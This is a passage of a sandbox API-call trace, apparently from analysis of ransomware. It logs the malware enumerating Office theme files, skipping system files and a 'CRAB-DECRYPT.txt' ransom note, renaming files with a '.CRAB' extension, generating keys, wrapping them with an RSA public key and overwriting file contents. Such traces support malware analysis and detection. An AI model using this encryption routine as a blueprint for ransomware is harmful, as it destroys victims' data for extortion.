	[0114.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB.CRAB"
	[0114.657] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0114.658] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.658] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.658] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.658] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0114.658] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.659] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0114.659] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.660] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.660] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.660] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0114.660] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.660] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.660] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.661] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0114.661] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4120) returned 1
	[0114.661] CryptGetKeyParam (in: hKey=0xda4120, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.661] CryptEncrypt (in: hKey=0xda4120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.662] GetLastError () returned 0x0
	[0114.662] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0114.662] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0114.662] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4060) returned 1
	[0114.662] CryptGetKeyParam (in: hKey=0xda4060, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.662] CryptEncrypt (in: hKey=0xda4060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.663] GetLastError () returned 0x0
	[0114.663] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0114.663] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457510[[fn=savon]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.663] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.664] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0114.716] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.737] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0114.759] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.765] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.765] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0114.767] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.771] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x25f51, lpOverlapped=0x0) returned 1
	[0114.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25f60, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0114.779] VirtualAlloc (lpAddress=0x0, dwSize=0x25f60, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.782] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.783] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffda0af, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.783] WriteFile (in: hFile=0x3fc, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x25f60, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x3147f1c*=0x25f60, lpOverlapped=0x0) returned 1
	[0114.783] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.784] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.788] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.788] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.788] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.789] CloseHandle (hObject=0x3fc) returned 1
	[0114.839] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.839] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.839] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.840] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.840] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.840] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.840] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.840] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2=".") returned 1
	[0114.841] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2="..") returned 1
	[0114.841] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx"
	[0114.841] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.841] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128
	[0114.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128
	[0114.841] lstrlenW (lpString=".thmx") returned 5
	[0114.841] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.841] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.841] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.841] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128
	[0114.842] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="desktop.ini") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="autorun.inf") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="ntuser.dat") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="iconcache.db") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="bootsect.bak") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="boot.ini") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="thumbs.db") returned 1
	[0114.842] lstrcmpiW (lpString1="TM03457515[[fn=View]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.842] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.842] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB") returned 133
	[0114.842] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457515[[fn=view]].thmx")) returned 0x20
	[0114.842] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx", dwFileAttributes=0x20) returned 1
	[0114.843] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457515[[fn=view]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457515[[fn=view]].thmx.crab")) returned 1
	[0114.844] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0114.844] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB"
	[0114.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB.CRAB"
	[0114.844] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0114.845] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.845] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.845] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0114.845] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0114.845] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.846] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0114.846] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0114.846] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0114.847] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0114.847] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0114.847] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0114.847] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.847] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0114.847] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0114.848] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0114.848] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda41a0) returned 1
	[0114.848] CryptGetKeyParam (in: hKey=0xda41a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.848] CryptEncrypt (in: hKey=0xda41a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0114.850] GetLastError () returned 0x0
	[0114.850] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0114.850] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e738) returned 1
	[0114.850] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda48a0) returned 1
	[0114.850] CryptGetKeyParam (in: hKey=0xda48a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0114.850] CryptEncrypt (in: hKey=0xda48a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0114.851] GetLastError () returned 0x0
	[0114.851] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0114.851] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457515[[fn=view]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0114.851] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0114.852] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0114.852] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x76cc4, lpOverlapped=0x0) returned 1
	[0114.940] VirtualAlloc (lpAddress=0x0, dwSize=0x76cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0114.946] VirtualAlloc (lpAddress=0x0, dwSize=0x76cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x33e0000
	[0114.953] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.955] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff8933c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.955] WriteFile (in: hFile=0x3fc, lpBuffer=0x33e0000*, nNumberOfBytesToWrite=0x76cd0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x76cd0, lpOverlapped=0x0) returned 1
	[0114.956] VirtualFree (lpAddress=0x33e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.958] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.961] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.962] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0114.962] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0114.962] CloseHandle (hObject=0x3fc) returned 1
	[0114.967] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.967] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.968] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.968] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.968] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.968] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.969] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0114.969] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2=".") returned 1
	[0114.969] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="..") returned 1
	[0114.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx"
	[0114.969] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0114.969] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130
	[0114.969] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130
	[0114.969] lstrlenW (lpString=".thmx") returned 5
	[0114.969] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.974] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0114.975] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0114.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130
	[0114.975] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="desktop.ini") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="autorun.inf") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="ntuser.dat") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="iconcache.db") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="bootsect.bak") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="boot.ini") returned 1
	[0114.975] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="ntuser.dat.log") returned 1
	[0114.976] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="thumbs.db") returned 1
	[0114.976] lstrcmpiW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0114.976] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0114.976] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx.CRAB") returned 135
	[0114.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm04033917[[fn=berlin]].thmx")) returned 0x20
	[0114.977] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx", dwFileAttributes=0x20) returned 1
